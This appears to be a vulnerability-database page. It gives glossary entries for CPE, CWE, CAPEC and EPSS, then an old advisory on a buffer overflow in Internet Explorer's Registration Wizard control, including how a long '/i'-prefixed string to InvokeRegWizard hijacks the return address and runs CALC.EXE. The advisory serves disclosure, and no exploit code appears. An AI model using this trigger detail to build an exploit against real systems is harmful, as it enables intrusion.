CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Microsoft Internet Explorer 4.1/5.0 for Windows 95/Windows NT 4,Windows 98 Registration Wizard Buffer Overflow Vulnerability
source: https://www.securityfocus.com/bid/671/info
There is a buffer overflow in the Internet Explorer Registration Wizard control (regwizc.dll). This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the control is run in a malicious manner.
REGWIZC
The Registration Wizard control used by Microsoft to
register MS products also contains a buffer overrun in
the 'InvokeRegWizard' method. When called with a long
string, pre-pended with '/i', we can gain control of the
RET address and exploit the control in a similar manner as
the PDF control. This exploit will cause a 'Regwiz.log'
file to be created in the temporary directory, and once
again will execute CALC.EXE and terminate the host.
